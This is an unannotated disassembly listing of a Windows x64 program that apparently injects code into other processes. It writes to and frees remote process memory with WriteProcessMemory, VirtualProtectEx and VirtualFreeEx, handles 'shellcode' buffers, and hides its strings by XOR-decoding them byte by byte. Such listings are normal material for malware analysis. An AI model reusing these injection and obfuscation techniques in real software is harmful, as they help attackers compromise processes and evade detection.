mov eax, 0x16
imul rax, rax, 1
lea rax, [rsp + rax + 0x721]
mov qword [rsp + 0x540], rax
mov rax, qword [rsp + 0x540]
mov byte [rax], 0
lea rax, [rsp + 0x721]
mov qword [rsp + 0x548], rax
mov rax, qword [rsp + 0x40]
mov r8d, dword [rsp + 0x70]
mov rdx, rax
mov rcx, qword [rsp + 0x548]
call fcn.140005fa4
jmp 0x14007a010
mov byte [rsp + 0x888], 0x6c
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x889], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x88a], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x88b], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x88c], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x88d], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x88e], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x88f], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x890], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x891], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x892], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x893], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x894], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x895], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x896], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x897], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x898], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x899], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x89a], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x89b], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x89c], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x89d], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x89e], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x89f], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8a0], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8a1], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8a2], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8a3], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8a4], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8a5], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8a6], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8a7], al
movsx eax, byte [rsp + 0x888]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.FAIL:_section__s_not_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8a8], al
lea rax, [rsp + 0x8a9]
lea rax, [rsp + 0x8a9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x188], 0
jmp 0x140079f5e
mov rax, qword [rsp + 0x188]
inc rax
mov qword [rsp + 0x188], rax
cmp qword [rsp + 0x188], 0x20
jae 0x140079fc2
mov rax, qword [rsp + 0x188]
lea rax, [rsp + rax + 0x889]
mov qword [rsp + 0x550], rax
mov rax, qword [rsp + 0x550]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x888]
xor eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x188]
lea rax, [rsp + rax + 0x889]
mov qword [rsp + 0x558], rax
mov rax, qword [rsp + 0x558]
mov cl, byte [rsp + 0x69]
mov byte [rax], cl
jmp 0x140079f4b
mov eax, 0x20
imul rax, rax, 1
lea rax, [rsp + rax + 0x889]
mov qword [rsp + 0x560], rax
mov rax, qword [rsp + 0x560]
mov byte [rax], 0
lea rax, [rsp + 0x889]
mov qword [rsp + 0x568], rax
mov rax, qword [rsp + 0x40]
mov r8d, dword [rsp + 0x70]
mov rdx, rax
mov rcx, qword [rsp + 0x568]
call fcn.140005fa4
jmp 0x14007950d
mov dword [rsp + 0x1bc], 0
mov rax, qword [rsp + 0x78]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x78]
mov eax, dword [rcx + rax + 0x24]
lea rcx, [rsp + 0x1bc]
mov qword [rsp + 0x20], rcx
mov r9d, 2
mov r8d, eax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rsp + 0x190]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14007a633
mov byte [rsp + 0x860], 6
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x861], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x862], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x863], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x864], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x865], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x866], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x867], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x868], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x869], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x86a], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x86b], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x86c], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x86d], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x86e], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x86f], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x870], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x871], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x872], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x873], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x874], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x875], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x876], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x877], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x878], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x879], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x87a], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x87b], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x87c], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x87d], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x87e], al
movsx eax, byte [rsp + 0x860]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.WARNING:_Cant_clear_shellcode_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x87f], al
lea rax, [rsp + 0x880]
lea rax, [rsp + 0x880]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x198], 0
jmp 0x14007a58e
mov rax, qword [rsp + 0x198]
inc rax
mov qword [rsp + 0x198], rax
cmp qword [rsp + 0x198], 0x1f
jae 0x14007a5f2
mov rax, qword [rsp + 0x198]
lea rax, [rsp + rax + 0x861]
mov qword [rsp + 0x570], rax
mov rax, qword [rsp + 0x570]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x860]
xor eax, ecx
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0x198]
lea rax, [rsp + rax + 0x861]
mov qword [rsp + 0x578], rax
mov rax, qword [rsp + 0x578]
mov cl, byte [rsp + 0x6a]
mov byte [rax], cl
jmp 0x14007a57b
mov eax, 0x1f
imul rax, rax, 1
lea rax, [rsp + rax + 0x861]
mov qword [rsp + 0x580], rax
mov rax, qword [rsp + 0x580]
mov byte [rax], 0
lea rax, [rsp + 0x861]
mov qword [rsp + 0x588], rax
mov rcx, qword [rsp + 0x588]
call fcn.140005fa4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x14007ad83
mov byte [rsp + 0x8d8], 0x13
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8d9], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8da], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8db], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8dc], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8dd], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8de], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8df], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8e0], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8e1], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8e2], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8e3], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8e4], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8e5], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8e6], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8e7], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8e8], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8e9], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8ea], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8eb], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8ec], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8ed], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8ee], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8ef], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8f0], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8f1], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8f2], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8f3], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8f4], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8f5], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8f6], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8f7], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8f8], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8f9], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8fa], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8fb], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8fc], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8fd], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8fe], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8ff], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x900], al
movsx eax, byte [rsp + 0x8d8]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str.WARNING:_cant_release_shell_code_memory_n
